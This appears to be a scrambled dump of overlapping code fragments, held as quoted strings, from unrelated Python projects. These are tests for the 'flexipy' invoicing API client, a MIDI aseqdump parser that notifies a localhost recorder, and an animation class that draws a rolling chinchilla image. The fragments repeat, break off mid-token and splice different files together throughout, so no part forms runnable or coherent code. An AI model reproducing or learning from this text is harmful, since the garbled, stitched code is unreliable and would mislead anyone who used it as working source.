datum_vyst='2013-02-28', zdroj_pro_sklad=False, typ_dokl=self.conf.get_typy_faktury_vydane()[0], dalsi_param=dalsi_param) assert result[0] == True #expected", "= d['winstrom']['faktura-vydana'] list_of_invoices_actual = self.faktura.get_all_vydane_faktury() assert list_of_invoices_expected == list_of_invoices_actual def test_get_all_prijate_faktury(self): r =", "= {'kod':'flex11','typDokl':'code:FAKTURA','firma':'code:201','popis':'Flexipy test invoice', 'sumDphZakl':'0.0','bezPolozek':'true', 'varSym':'11235484','zdrojProSkl':'false'} dalsi_param = {'popis':'Flexipy test invoice','firma':'code:201'} result =", "result = self.faktura.create_vydana_faktura(kod='flex12', var_sym='11235484', datum_vyst='2013-02-28', zdroj_pro_sklad=False, typ_dokl=self.conf.get_typy_faktury_vydane()[0], dalsi_param=dalsi_param, polozky_faktury=polozky) assert result[0] == True", "{'kod':'flex12','typDokl':'code:FAKTURA','firma':'code:201','popis':'Flexipy test invoice', 'varSym':'11235484','zdrojProSkl':'false','polozkyFaktury':polozky} expected_polozky = [{'typPolozkyK':'typPolozky.obecny','zdrojProSkl':'false','nazev':'vypujceni auta','ucetni':'true','cenaMj':'4815.0'}] dalsi_param = {'popis':'Flexipy test invoice','firma':'code:201','typUcOp':u'code:TRŽBA", "zdroj_pro_sklad=False, typ_dokl=self.conf.get_typy_faktury_vydane()[0], dalsi_param=dalsi_param, polozky_faktury=polozky) assert result[0] == True #expected True id = result[1]", "actualData['popis'] == expected_data['popis'] #pocet polozek se musi rovnat assert len(actualData['polozkyFaktury']) == len(expected_polozky) actual_polozky", "dalsi_param = {'popis':'Flexipy test invoice','firma':'code:201'} result = self.faktura.create_vydana_faktura(kod='flex11', var_sym='11235484', datum_vyst='2013-02-28', zdroj_pro_sklad=False, typ_dokl=self.conf.get_typy_faktury_vydane()[0], dalsi_param=dalsi_param)", "# -*- coding: utf-8 -*- from flexipy import Faktura from flexipy import config", "d = r.json() if len(d['winstrom']['faktura-vydana']): list_of_invoices_expected = d['winstrom']['faktura-vydana'][0] else: list_of_invoices_expected = d['winstrom']['faktura-vydana'] list_of_invoices_actual", "list_of_invoices_actual = self.faktura.get_all_prijate_faktury() assert list_of_invoices_expected == list_of_invoices_actual def test_create_vydana_faktura(self): expected_data = {'kod':'flex11','typDokl':'code:FAKTURA','firma':'code:201','popis':'Flexipy test", "'sumDphZakl':'0.0','bezPolozek':'true', 'varSym':'11235484','zdrojProSkl':'false'} dalsi_param = {'popis':'Flexipy test invoice','firma':'code:201'} result = self.faktura.create_vydana_faktura(kod='flex11', var_sym='11235484', datum_vyst='2013-02-28', zdroj_pro_sklad=False,", "polozky_faktury=polozky) assert result[0] == True #expected True id = result[1] actualData = self.faktura.get_vydana_faktura(id,", "requests.get(self.url+'faktura-vydana.json' ,auth=(self.username,self.password), verify=False) d = r.json() if len(d['winstrom']['faktura-vydana']): list_of_invoices_expected = d['winstrom']['faktura-vydana'][0] else: list_of_invoices_expected", "= actualData['polozkyFaktury'][0] assert actual_polozky['typPolozkyK'] == expected_polozky[0]['typPolozkyK'] assert actual_polozky['nazev'] == expected_polozky[0]['nazev'] assert actual_polozky['cenaMj'] ==", "= self.faktura.get_all_vydane_faktury() assert list_of_invoices_expected == list_of_invoices_actual def test_get_all_prijate_faktury(self): r = requests.get(self.url+'faktura-prijata.json' ,auth=(self.username,self.password), verify=False)", "self.url = str(server_settings['url']) self.faktura = Faktura(self.conf) def test_get_all_vydane_faktury(self): r = requests.get(self.url+'faktura-vydana.json' ,auth=(self.username,self.password), verify=False)", "polozek se musi rovnat assert len(actualData['polozkyFaktury']) == len(expected_polozky) actual_polozky = actualData['polozkyFaktury'][0] assert actual_polozky['typPolozkyK']", "expected_data['firma'] assert actualData['popis'] == expected_data['popis'] assert actualData['sumDphZakl'] == expected_data['sumDphZakl'] #uklid po sobe self.faktura.delete_vydana_faktura(id)", "def test_get_all_vydane_faktury(self): r = requests.get(self.url+'faktura-vydana.json' ,auth=(self.username,self.password), verify=False) d = r.json() if len(d['winstrom']['faktura-vydana']): list_of_invoices_expected", "= str(server_settings['url']) self.faktura = Faktura(self.conf) def test_get_all_vydane_faktury(self): r = requests.get(self.url+'faktura-vydana.json' ,auth=(self.username,self.password), verify=False) d", "== list_of_invoices_actual def test_get_all_prijate_faktury(self): r = requests.get(self.url+'faktura-prijata.json' ,auth=(self.username,self.password), verify=False) d = r.json() if(len(d['winstrom']['faktura-prijata'])", "= self.conf.get_server_config() self.username = str(server_settings['username']) self.password = str(server_settings['password']) self.url = str(server_settings['url']) self.faktura =", "assert actualData['sumDphZakl'] == expected_data['sumDphZakl'] #uklid po sobe self.faktura.delete_vydana_faktura(id) def test_create_vydana_faktura_polozky(self): polozky = [{'typPolozkyK':self.conf.get_typ_polozky_vydane()[0],'zdrojProSkl':False,'nazev':'vypujceni", "actual_polozky = actualData['polozkyFaktury'][0] assert actual_polozky['typPolozkyK'] == expected_polozky[0]['typPolozkyK'] assert actual_polozky['nazev'] == expected_polozky[0]['nazev'] assert actual_polozky['cenaMj']", ",auth=(self.username,self.password), verify=False) d = r.json() if(len(d['winstrom']['faktura-prijata']) == 1): list_of_invoices_expected = d['winstrom']['faktura-prijata'][0] else: list_of_invoices_expected", "expected_data['kod'].lower() assert actualData['typDokl'] == expected_data['typDokl'] assert actualData['firma'] == expected_data['firma'] assert actualData['popis'] == expected_data['popis']", "assert len(actualData['polozkyFaktury']) == len(expected_polozky) actual_polozky = actualData['polozkyFaktury'][0] assert actual_polozky['typPolozkyK'] == expected_polozky[0]['typPolozkyK'] assert actual_polozky['nazev']", "verify=False) d = r.json() if len(d['winstrom']['faktura-vydana']): list_of_invoices_expected = d['winstrom']['faktura-vydana'][0] else: list_of_invoices_expected = d['winstrom']['faktura-vydana']", "== expected_data['popis'] #pocet polozek se musi rovnat assert len(actualData['polozkyFaktury']) == len(expected_polozky) actual_polozky =", "list_of_invoices_expected == list_of_invoices_actual def test_get_all_prijate_faktury(self): r = requests.get(self.url+'faktura-prijata.json' ,auth=(self.username,self.password), verify=False) d = r.json()" ]
[ "import sys import re import json import os import requests requests.get(\"http://localhost:5000/recorder/set_killee_process?pid=%s\" % os.getpid())", "properties = parts[2].split(\", \")[1:] else: properties = [] properties_dict = dict() for prop", "\")]] = prop[prop.index(\" \") + 1:] if \"velocity\" in properties_dict: properties_dict[\"velocity\"] = int(properties_dict[\"velocity\"])", "parse_line(line): # line = re.sub(\" +\", \"^\", line.decode().strip()) parts = re.split(\" +\", line.decode().strip())", "# line = re.sub(\" +\", \"^\", line.decode().strip()) parts = re.split(\" +\", line.decode().strip()) evt", "<filename>note-input/main.py import subprocess import sys import re import json import os import requests", "line.decode().strip()) evt = parts[1] # Such as `Note on`, etc if len(parts) >=", "line.decode().strip()) parts = re.split(\" +\", line.decode().strip()) evt = parts[1] # Such as `Note", "requests.get(\"http://localhost:5000/recorder/set_killee_process?pid=%s\" % os.getpid()) try: port = int(sys.argv[-1]) except: print(\"Usage:\\npython3 main.py <port>\") sys.exit(-1) process", "import re import json import os import requests requests.get(\"http://localhost:5000/recorder/set_killee_process?pid=%s\" % os.getpid()) try: port", "Hack return dict(type=evt, pitch=int(properties_dict[\"note\"]), **properties_dict) process.stdout.readline() process.stdout.readline() # print(json.dumps(pid=os.getpid(), type=\"pid_headsup\")) for line in", "try: port = int(sys.argv[-1]) except: print(\"Usage:\\npython3 main.py <port>\") sys.exit(-1) process = subprocess.Popen([\"aseqdump\", \"-p\",", "# print(json.dumps(pid=os.getpid(), type=\"pid_headsup\")) for line in process.stdout: if \"active sensing\" not in line.decode().lower()", "\"velocity\" in properties_dict: properties_dict[\"velocity\"] = int(properties_dict[\"velocity\"]) # Hack return dict(type=evt, pitch=int(properties_dict[\"note\"]), **properties_dict) process.stdout.readline()", "in properties_dict: properties_dict[\"velocity\"] = int(properties_dict[\"velocity\"]) # Hack return dict(type=evt, pitch=int(properties_dict[\"note\"]), **properties_dict) process.stdout.readline() process.stdout.readline()", "+ 1:] if \"velocity\" in properties_dict: properties_dict[\"velocity\"] = int(properties_dict[\"velocity\"]) # Hack return dict(type=evt,", "\"^\", line.decode().strip()) parts = re.split(\" +\", line.decode().strip()) evt = parts[1] # Such as", "\"-p\", str(port)], stdout=subprocess.PIPE) def parse_line(line): # line = re.sub(\" +\", \"^\", line.decode().strip()) parts", "\")[1:] else: properties = [] properties_dict = dict() for prop in properties: properties_dict[prop[:prop.index(\"", "if len(parts) >= 3: properties = parts[2].split(\", \")[1:] else: properties = [] properties_dict", "3: properties = parts[2].split(\", \")[1:] else: properties = [] properties_dict = dict() for", "= re.sub(\" +\", \"^\", line.decode().strip()) parts = re.split(\" +\", line.decode().strip()) evt = parts[1]", "process.stdout: if \"active sensing\" not in line.decode().lower() and \"clock\" not in line.decode().lower(): print(json.dumps(parse_line(line)))", "re import json import os import requests requests.get(\"http://localhost:5000/recorder/set_killee_process?pid=%s\" % os.getpid()) try: port =", "properties_dict = dict() for prop in properties: properties_dict[prop[:prop.index(\" \")]] = prop[prop.index(\" \") +", "= subprocess.Popen([\"aseqdump\", \"-p\", str(port)], stdout=subprocess.PIPE) def parse_line(line): # line = re.sub(\" +\", \"^\",", "properties_dict: properties_dict[\"velocity\"] = int(properties_dict[\"velocity\"]) # Hack return dict(type=evt, pitch=int(properties_dict[\"note\"]), **properties_dict) process.stdout.readline() process.stdout.readline() #", "# Hack return dict(type=evt, pitch=int(properties_dict[\"note\"]), **properties_dict) process.stdout.readline() process.stdout.readline() # print(json.dumps(pid=os.getpid(), type=\"pid_headsup\")) for line", "return dict(type=evt, pitch=int(properties_dict[\"note\"]), **properties_dict) process.stdout.readline() process.stdout.readline() # print(json.dumps(pid=os.getpid(), type=\"pid_headsup\")) for line in process.stdout:", "+\", \"^\", line.decode().strip()) parts = re.split(\" +\", line.decode().strip()) evt = parts[1] # Such", "import subprocess import sys import re import json import os import requests requests.get(\"http://localhost:5000/recorder/set_killee_process?pid=%s\"", "process = subprocess.Popen([\"aseqdump\", \"-p\", str(port)], stdout=subprocess.PIPE) def parse_line(line): # line = re.sub(\" +\",", "if \"active sensing\" not in line.decode().lower() and \"clock\" not in line.decode().lower(): print(json.dumps(parse_line(line))) sys.stdout.flush()", "`Note on`, etc if len(parts) >= 3: properties = parts[2].split(\", \")[1:] else: properties", "def parse_line(line): # line = re.sub(\" +\", \"^\", line.decode().strip()) parts = re.split(\" +\",", "prop in properties: properties_dict[prop[:prop.index(\" \")]] = prop[prop.index(\" \") + 1:] if \"velocity\" in", "on`, etc if len(parts) >= 3: properties = parts[2].split(\", \")[1:] else: properties =", "pitch=int(properties_dict[\"note\"]), **properties_dict) process.stdout.readline() process.stdout.readline() # print(json.dumps(pid=os.getpid(), type=\"pid_headsup\")) for line in process.stdout: if \"active", "int(properties_dict[\"velocity\"]) # Hack return dict(type=evt, pitch=int(properties_dict[\"note\"]), **properties_dict) process.stdout.readline() process.stdout.readline() # print(json.dumps(pid=os.getpid(), type=\"pid_headsup\")) for", "stdout=subprocess.PIPE) def parse_line(line): # line = re.sub(\" +\", \"^\", line.decode().strip()) parts = re.split(\"", "= parts[1] # Such as `Note on`, etc if len(parts) >= 3: properties", "# Such as `Note on`, etc if len(parts) >= 3: properties = parts[2].split(\",", "print(json.dumps(pid=os.getpid(), type=\"pid_headsup\")) for line in process.stdout: if \"active sensing\" not in line.decode().lower() and", "os.getpid()) try: port = int(sys.argv[-1]) except: print(\"Usage:\\npython3 main.py <port>\") sys.exit(-1) process = subprocess.Popen([\"aseqdump\",", "for line in process.stdout: if \"active sensing\" not in line.decode().lower() and \"clock\" not", "process.stdout.readline() process.stdout.readline() # print(json.dumps(pid=os.getpid(), type=\"pid_headsup\")) for line in process.stdout: if \"active sensing\" not", "print(\"Usage:\\npython3 main.py <port>\") sys.exit(-1) process = subprocess.Popen([\"aseqdump\", \"-p\", str(port)], stdout=subprocess.PIPE) def parse_line(line): #", "subprocess import sys import re import json import os import requests requests.get(\"http://localhost:5000/recorder/set_killee_process?pid=%s\" %", "\") + 1:] if \"velocity\" in properties_dict: properties_dict[\"velocity\"] = int(properties_dict[\"velocity\"]) # Hack return", "import os import requests requests.get(\"http://localhost:5000/recorder/set_killee_process?pid=%s\" % os.getpid()) try: port = int(sys.argv[-1]) except: print(\"Usage:\\npython3", "= re.split(\" +\", line.decode().strip()) evt = parts[1] # Such as `Note on`, etc", "1:] if \"velocity\" in properties_dict: properties_dict[\"velocity\"] = int(properties_dict[\"velocity\"]) # Hack return dict(type=evt, pitch=int(properties_dict[\"note\"]),", "dict(type=evt, pitch=int(properties_dict[\"note\"]), **properties_dict) process.stdout.readline() process.stdout.readline() # print(json.dumps(pid=os.getpid(), type=\"pid_headsup\")) for line in process.stdout: if", "= int(properties_dict[\"velocity\"]) # Hack return dict(type=evt, pitch=int(properties_dict[\"note\"]), **properties_dict) process.stdout.readline() process.stdout.readline() # print(json.dumps(pid=os.getpid(), type=\"pid_headsup\"))", "str(port)], stdout=subprocess.PIPE) def parse_line(line): # line = re.sub(\" +\", \"^\", line.decode().strip()) parts =", "= [] properties_dict = dict() for prop in properties: properties_dict[prop[:prop.index(\" \")]] = prop[prop.index(\"", "prop[prop.index(\" \") + 1:] if \"velocity\" in properties_dict: properties_dict[\"velocity\"] = int(properties_dict[\"velocity\"]) # Hack", "Such as `Note on`, etc if len(parts) >= 3: properties = parts[2].split(\", \")[1:]", "+\", line.decode().strip()) evt = parts[1] # Such as `Note on`, etc if len(parts)", "= parts[2].split(\", \")[1:] else: properties = [] properties_dict = dict() for prop in", "line = re.sub(\" +\", \"^\", line.decode().strip()) parts = re.split(\" +\", line.decode().strip()) evt =", "re.sub(\" +\", \"^\", line.decode().strip()) parts = re.split(\" +\", line.decode().strip()) evt = parts[1] #", "properties = [] properties_dict = dict() for prop in properties: properties_dict[prop[:prop.index(\" \")]] =", "subprocess.Popen([\"aseqdump\", \"-p\", str(port)], stdout=subprocess.PIPE) def parse_line(line): # line = re.sub(\" +\", \"^\", line.decode().strip())", "except: print(\"Usage:\\npython3 main.py <port>\") sys.exit(-1) process = subprocess.Popen([\"aseqdump\", \"-p\", str(port)], stdout=subprocess.PIPE) def parse_line(line):", ">= 3: properties = parts[2].split(\", \")[1:] else: properties = [] properties_dict = dict()", "else: properties = [] properties_dict = dict() for prop in properties: properties_dict[prop[:prop.index(\" \")]]", "requests requests.get(\"http://localhost:5000/recorder/set_killee_process?pid=%s\" % os.getpid()) try: port = int(sys.argv[-1]) except: print(\"Usage:\\npython3 main.py <port>\") sys.exit(-1)", "import json import os import requests requests.get(\"http://localhost:5000/recorder/set_killee_process?pid=%s\" % os.getpid()) try: port = int(sys.argv[-1])", "for prop in properties: properties_dict[prop[:prop.index(\" \")]] = prop[prop.index(\" \") + 1:] if \"velocity\"", "dict() for prop in properties: properties_dict[prop[:prop.index(\" \")]] = prop[prop.index(\" \") + 1:] if", "main.py <port>\") sys.exit(-1) process = subprocess.Popen([\"aseqdump\", \"-p\", str(port)], stdout=subprocess.PIPE) def parse_line(line): # line", "etc if len(parts) >= 3: properties = parts[2].split(\", \")[1:] else: properties = []", "int(sys.argv[-1]) except: print(\"Usage:\\npython3 main.py <port>\") sys.exit(-1) process = subprocess.Popen([\"aseqdump\", \"-p\", str(port)], stdout=subprocess.PIPE) def", "if \"velocity\" in properties_dict: properties_dict[\"velocity\"] = int(properties_dict[\"velocity\"]) # Hack return dict(type=evt, pitch=int(properties_dict[\"note\"]), **properties_dict)", "parts[1] # Such as `Note on`, etc if len(parts) >= 3: properties =", "re.split(\" +\", line.decode().strip()) evt = parts[1] # Such as `Note on`, etc if", "properties_dict[prop[:prop.index(\" \")]] = prop[prop.index(\" \") + 1:] if \"velocity\" in properties_dict: properties_dict[\"velocity\"] =", "parts[2].split(\", \")[1:] else: properties = [] properties_dict = dict() for prop in properties:", "= prop[prop.index(\" \") + 1:] if \"velocity\" in properties_dict: properties_dict[\"velocity\"] = int(properties_dict[\"velocity\"]) #", "properties_dict[\"velocity\"] = int(properties_dict[\"velocity\"]) # Hack return dict(type=evt, pitch=int(properties_dict[\"note\"]), **properties_dict) process.stdout.readline() process.stdout.readline() # print(json.dumps(pid=os.getpid(),", "type=\"pid_headsup\")) for line in process.stdout: if \"active sensing\" not in line.decode().lower() and \"clock\"", "sys.exit(-1) process = subprocess.Popen([\"aseqdump\", \"-p\", str(port)], stdout=subprocess.PIPE) def parse_line(line): # line = re.sub(\"", "parts = re.split(\" +\", line.decode().strip()) evt = parts[1] # Such as `Note on`,", "os import requests requests.get(\"http://localhost:5000/recorder/set_killee_process?pid=%s\" % os.getpid()) try: port = int(sys.argv[-1]) except: print(\"Usage:\\npython3 main.py", "port = int(sys.argv[-1]) except: print(\"Usage:\\npython3 main.py <port>\") sys.exit(-1) process = subprocess.Popen([\"aseqdump\", \"-p\", str(port)],", "evt = parts[1] # Such as `Note on`, etc if len(parts) >= 3:", "**properties_dict) process.stdout.readline() process.stdout.readline() # print(json.dumps(pid=os.getpid(), type=\"pid_headsup\")) for line in process.stdout: if \"active sensing\"", "sys import re import json import os import requests requests.get(\"http://localhost:5000/recorder/set_killee_process?pid=%s\" % os.getpid()) try:", "= int(sys.argv[-1]) except: print(\"Usage:\\npython3 main.py <port>\") sys.exit(-1) process = subprocess.Popen([\"aseqdump\", \"-p\", str(port)], stdout=subprocess.PIPE)", "% os.getpid()) try: port = int(sys.argv[-1]) except: print(\"Usage:\\npython3 main.py <port>\") sys.exit(-1) process =", "as `Note on`, etc if len(parts) >= 3: properties = parts[2].split(\", \")[1:] else:", "<port>\") sys.exit(-1) process = subprocess.Popen([\"aseqdump\", \"-p\", str(port)], stdout=subprocess.PIPE) def parse_line(line): # line =", "len(parts) >= 3: properties = parts[2].split(\", \")[1:] else: properties = [] properties_dict =", "process.stdout.readline() # print(json.dumps(pid=os.getpid(), type=\"pid_headsup\")) for line in process.stdout: if \"active sensing\" not in", "import requests requests.get(\"http://localhost:5000/recorder/set_killee_process?pid=%s\" % os.getpid()) try: port = int(sys.argv[-1]) except: print(\"Usage:\\npython3 main.py <port>\")", "in process.stdout: if \"active sensing\" not in line.decode().lower() and \"clock\" not in line.decode().lower():", "[] properties_dict = dict() for prop in properties: properties_dict[prop[:prop.index(\" \")]] = prop[prop.index(\" \")", "json import os import requests requests.get(\"http://localhost:5000/recorder/set_killee_process?pid=%s\" % os.getpid()) try: port = int(sys.argv[-1]) except:", "line in process.stdout: if \"active sensing\" not in line.decode().lower() and \"clock\" not in", "in properties: properties_dict[prop[:prop.index(\" \")]] = prop[prop.index(\" \") + 1:] if \"velocity\" in properties_dict:", "= dict() for prop in properties: properties_dict[prop[:prop.index(\" \")]] = prop[prop.index(\" \") + 1:]", "properties: properties_dict[prop[:prop.index(\" \")]] = prop[prop.index(\" \") + 1:] if \"velocity\" in properties_dict: properties_dict[\"velocity\"]" ]
[ "studio = AStudio(400,300) studio.append(shape) frames = 50 for t in range(frames): x =", "canvas: ACanvas, tick: int): ox, oy, w, h = self.bounds() pic = self.pic.resize((int(w),", "range(180): slope = math.pi * 2 * 10 * (tick/180) ox = self.cx", "import * chinchira_url = 'https://1.bp.blogspot.com/-OBrXImM0Sd4/X5OcFkxjEnI/AAAAAAABb40/HSDcWu_nYSUbAmRlWro9bHF6pkZJEyFngCNcBGAsYHQ/s789/animal_mawashi_guruma_chinchira.png' class RollingChinchira(AImage): def __init__(self, width=100, height=100, cx=None, cy=None,", "= 50 for t in range(frames): x = 400 - 8*t y =", "slope) oy = self.cy + r * math.sin(i * slope) canvas.image.paste(pic, (int(ox), int(oy)),", "= scale if image.startswith('http'): self.pic = Image.open(io.BytesIO(requests.get(image).content)) else: self.pic = Image.open(image) def render(self,", "h = self.bounds() pic = self.pic.resize((int(w), int(h))) r = min(self.width, self.height)/2 for i", "t in range(frames): x = 400 - 8*t y = 150 shape.cx =", "for i in range(180): slope = math.pi * 2 * 10 * (tick/180)", "self.cy + r * math.sin(i * slope) canvas.image.paste(pic, (int(ox), int(oy)), pic) def chinchira_shape(shape):", "int(oy)), pic) def chinchira_shape(shape): studio = AStudio(400,300) studio.append(shape) frames = 50 for t", "- 8*t y = 150 shape.cx = x shape.cy = y studio.render() return", "scale=1.0): self.width = width self.height = height self.scale = scale if image.startswith('http'): self.pic", "height self.scale = scale if image.startswith('http'): self.pic = Image.open(io.BytesIO(requests.get(image).content)) else: self.pic = Image.open(image)", "= height self.scale = scale if image.startswith('http'): self.pic = Image.open(io.BytesIO(requests.get(image).content)) else: self.pic =", "oy = self.cy + r * math.sin(i * slope) canvas.image.paste(pic, (int(ox), int(oy)), pic)", "cy=None, image=chinchira_url, scale=1.0): self.width = width self.height = height self.scale = scale if", "r * math.sin(i * slope) canvas.image.paste(pic, (int(ox), int(oy)), pic) def chinchira_shape(shape): studio =", "render(self, canvas: ACanvas, tick: int): ox, oy, w, h = self.bounds() pic =", "math.cos(i * slope) oy = self.cy + r * math.sin(i * slope) canvas.image.paste(pic,", "* chinchira_url = 'https://1.bp.blogspot.com/-OBrXImM0Sd4/X5OcFkxjEnI/AAAAAAABb40/HSDcWu_nYSUbAmRlWro9bHF6pkZJEyFngCNcBGAsYHQ/s789/animal_mawashi_guruma_chinchira.png' class RollingChinchira(AImage): def __init__(self, width=100, height=100, cx=None, cy=None, image=chinchira_url,", "(tick/180) ox = self.cx + r * math.cos(i * slope) oy = self.cy", "= Image.open(image) def render(self, canvas: ACanvas, tick: int): ox, oy, w, h =", "ox, oy, w, h = self.bounds() pic = self.pic.resize((int(w), int(h))) r = min(self.width,", "'https://1.bp.blogspot.com/-OBrXImM0Sd4/X5OcFkxjEnI/AAAAAAABb40/HSDcWu_nYSUbAmRlWro9bHF6pkZJEyFngCNcBGAsYHQ/s789/animal_mawashi_guruma_chinchira.png' class RollingChinchira(AImage): def __init__(self, width=100, height=100, cx=None, cy=None, image=chinchira_url, scale=1.0): self.width =", "self.bounds() pic = self.pic.resize((int(w), int(h))) r = min(self.width, self.height)/2 for i in range(180):", "height=100, cx=None, cy=None, image=chinchira_url, scale=1.0): self.width = width self.height = height self.scale =", "= Image.open(io.BytesIO(requests.get(image).content)) else: self.pic = Image.open(image) def render(self, canvas: ACanvas, tick: int): ox,", "Image.open(image) def render(self, canvas: ACanvas, tick: int): ox, oy, w, h = self.bounds()", "= min(self.width, self.height)/2 for i in range(180): slope = math.pi * 2 *", "w, h = self.bounds() pic = self.pic.resize((int(w), int(h))) r = min(self.width, self.height)/2 for", "slope) canvas.image.paste(pic, (int(ox), int(oy)), pic) def chinchira_shape(shape): studio = AStudio(400,300) studio.append(shape) frames =", "tick: int): ox, oy, w, h = self.bounds() pic = self.pic.resize((int(w), int(h))) r", "* math.cos(i * slope) oy = self.cy + r * math.sin(i * slope)", "for t in range(frames): x = 400 - 8*t y = 150 shape.cx", "self.pic.resize((int(w), int(h))) r = min(self.width, self.height)/2 for i in range(180): slope = math.pi", "2 * 10 * (tick/180) ox = self.cx + r * math.cos(i *", "* slope) canvas.image.paste(pic, (int(ox), int(oy)), pic) def chinchira_shape(shape): studio = AStudio(400,300) studio.append(shape) frames", "self.cx + r * math.cos(i * slope) oy = self.cy + r *", "image=chinchira_url, scale=1.0): self.width = width self.height = height self.scale = scale if image.startswith('http'):", "canvas.image.paste(pic, (int(ox), int(oy)), pic) def chinchira_shape(shape): studio = AStudio(400,300) studio.append(shape) frames = 50", "int(h))) r = min(self.width, self.height)/2 for i in range(180): slope = math.pi *", "in range(180): slope = math.pi * 2 * 10 * (tick/180) ox =", "slope = math.pi * 2 * 10 * (tick/180) ox = self.cx +", "x = 400 - 8*t y = 150 shape.cx = x shape.cy =", "= 400 - 8*t y = 150 shape.cx = x shape.cy = y", "chinchira_shape(shape): studio = AStudio(400,300) studio.append(shape) frames = 50 for t in range(frames): x", "studio.append(shape) frames = 50 for t in range(frames): x = 400 - 8*t", "frames = 50 for t in range(frames): x = 400 - 8*t y", "ACanvas, tick: int): ox, oy, w, h = self.bounds() pic = self.pic.resize((int(w), int(h)))", "cx=None, cy=None, image=chinchira_url, scale=1.0): self.width = width self.height = height self.scale = scale", "chinchira_url = 'https://1.bp.blogspot.com/-OBrXImM0Sd4/X5OcFkxjEnI/AAAAAAABb40/HSDcWu_nYSUbAmRlWro9bHF6pkZJEyFngCNcBGAsYHQ/s789/animal_mawashi_guruma_chinchira.png' class RollingChinchira(AImage): def __init__(self, width=100, height=100, cx=None, cy=None, image=chinchira_url, scale=1.0):", "8*t y = 150 shape.cx = x shape.cy = y studio.render() return studio.create_anime(delay=50)", "width self.height = height self.scale = scale if image.startswith('http'): self.pic = Image.open(io.BytesIO(requests.get(image).content)) else:", "= self.bounds() pic = self.pic.resize((int(w), int(h))) r = min(self.width, self.height)/2 for i in", "* slope) oy = self.cy + r * math.sin(i * slope) canvas.image.paste(pic, (int(ox),", "self.pic = Image.open(image) def render(self, canvas: ACanvas, tick: int): ox, oy, w, h", "pic = self.pic.resize((int(w), int(h))) r = min(self.width, self.height)/2 for i in range(180): slope", "ox = self.cx + r * math.cos(i * slope) oy = self.cy +", "r = min(self.width, self.height)/2 for i in range(180): slope = math.pi * 2", "__init__(self, width=100, height=100, cx=None, cy=None, image=chinchira_url, scale=1.0): self.width = width self.height = height", "oy, w, h = self.bounds() pic = self.pic.resize((int(w), int(h))) r = min(self.width, self.height)/2", "anime2021.anime import * chinchira_url = 'https://1.bp.blogspot.com/-OBrXImM0Sd4/X5OcFkxjEnI/AAAAAAABb40/HSDcWu_nYSUbAmRlWro9bHF6pkZJEyFngCNcBGAsYHQ/s789/animal_mawashi_guruma_chinchira.png' class RollingChinchira(AImage): def __init__(self, width=100, height=100, cx=None,", "RollingChinchira(AImage): def __init__(self, width=100, height=100, cx=None, cy=None, image=chinchira_url, scale=1.0): self.width = width self.height", "AStudio(400,300) studio.append(shape) frames = 50 for t in range(frames): x = 400 -", "self.pic = Image.open(io.BytesIO(requests.get(image).content)) else: self.pic = Image.open(image) def render(self, canvas: ACanvas, tick: int):", "(int(ox), int(oy)), pic) def chinchira_shape(shape): studio = AStudio(400,300) studio.append(shape) frames = 50 for", "+ r * math.cos(i * slope) oy = self.cy + r * math.sin(i", "def render(self, canvas: ACanvas, tick: int): ox, oy, w, h = self.bounds() pic", "* (tick/180) ox = self.cx + r * math.cos(i * slope) oy =", "i in range(180): slope = math.pi * 2 * 10 * (tick/180) ox", "= 'https://1.bp.blogspot.com/-OBrXImM0Sd4/X5OcFkxjEnI/AAAAAAABb40/HSDcWu_nYSUbAmRlWro9bHF6pkZJEyFngCNcBGAsYHQ/s789/animal_mawashi_guruma_chinchira.png' class RollingChinchira(AImage): def __init__(self, width=100, height=100, cx=None, cy=None, image=chinchira_url, scale=1.0): self.width", "r * math.cos(i * slope) oy = self.cy + r * math.sin(i *", "min(self.width, self.height)/2 for i in range(180): slope = math.pi * 2 * 10", "from anime2021.anime import * chinchira_url = 'https://1.bp.blogspot.com/-OBrXImM0Sd4/X5OcFkxjEnI/AAAAAAABb40/HSDcWu_nYSUbAmRlWro9bHF6pkZJEyFngCNcBGAsYHQ/s789/animal_mawashi_guruma_chinchira.png' class RollingChinchira(AImage): def __init__(self, width=100, height=100,", "else: self.pic = Image.open(image) def render(self, canvas: ACanvas, tick: int): ox, oy, w,", "scale if image.startswith('http'): self.pic = Image.open(io.BytesIO(requests.get(image).content)) else: self.pic = Image.open(image) def render(self, canvas:", "= self.cy + r * math.sin(i * slope) canvas.image.paste(pic, (int(ox), int(oy)), pic) def", "= math.pi * 2 * 10 * (tick/180) ox = self.cx + r", "50 for t in range(frames): x = 400 - 8*t y = 150", "image.startswith('http'): self.pic = Image.open(io.BytesIO(requests.get(image).content)) else: self.pic = Image.open(image) def render(self, canvas: ACanvas, tick:", "= self.pic.resize((int(w), int(h))) r = min(self.width, self.height)/2 for i in range(180): slope =", "def __init__(self, width=100, height=100, cx=None, cy=None, image=chinchira_url, scale=1.0): self.width = width self.height =", "= width self.height = height self.scale = scale if image.startswith('http'): self.pic = Image.open(io.BytesIO(requests.get(image).content))", "* math.sin(i * slope) canvas.image.paste(pic, (int(ox), int(oy)), pic) def chinchira_shape(shape): studio = AStudio(400,300)", "if image.startswith('http'): self.pic = Image.open(io.BytesIO(requests.get(image).content)) else: self.pic = Image.open(image) def render(self, canvas: ACanvas,", "+ r * math.sin(i * slope) canvas.image.paste(pic, (int(ox), int(oy)), pic) def chinchira_shape(shape): studio", "* 10 * (tick/180) ox = self.cx + r * math.cos(i * slope)", "400 - 8*t y = 150 shape.cx = x shape.cy = y studio.render()", "def chinchira_shape(shape): studio = AStudio(400,300) studio.append(shape) frames = 50 for t in range(frames):", "10 * (tick/180) ox = self.cx + r * math.cos(i * slope) oy", "* 2 * 10 * (tick/180) ox = self.cx + r * math.cos(i", "self.scale = scale if image.startswith('http'): self.pic = Image.open(io.BytesIO(requests.get(image).content)) else: self.pic = Image.open(image) def", "width=100, height=100, cx=None, cy=None, image=chinchira_url, scale=1.0): self.width = width self.height = height self.scale", "Image.open(io.BytesIO(requests.get(image).content)) else: self.pic = Image.open(image) def render(self, canvas: ACanvas, tick: int): ox, oy,", "self.height)/2 for i in range(180): slope = math.pi * 2 * 10 *", "= AStudio(400,300) studio.append(shape) frames = 50 for t in range(frames): x = 400", "= self.cx + r * math.cos(i * slope) oy = self.cy + r", "self.width = width self.height = height self.scale = scale if image.startswith('http'): self.pic =", "class RollingChinchira(AImage): def __init__(self, width=100, height=100, cx=None, cy=None, image=chinchira_url, scale=1.0): self.width = width", "pic) def chinchira_shape(shape): studio = AStudio(400,300) studio.append(shape) frames = 50 for t in", "in range(frames): x = 400 - 8*t y = 150 shape.cx = x", "math.pi * 2 * 10 * (tick/180) ox = self.cx 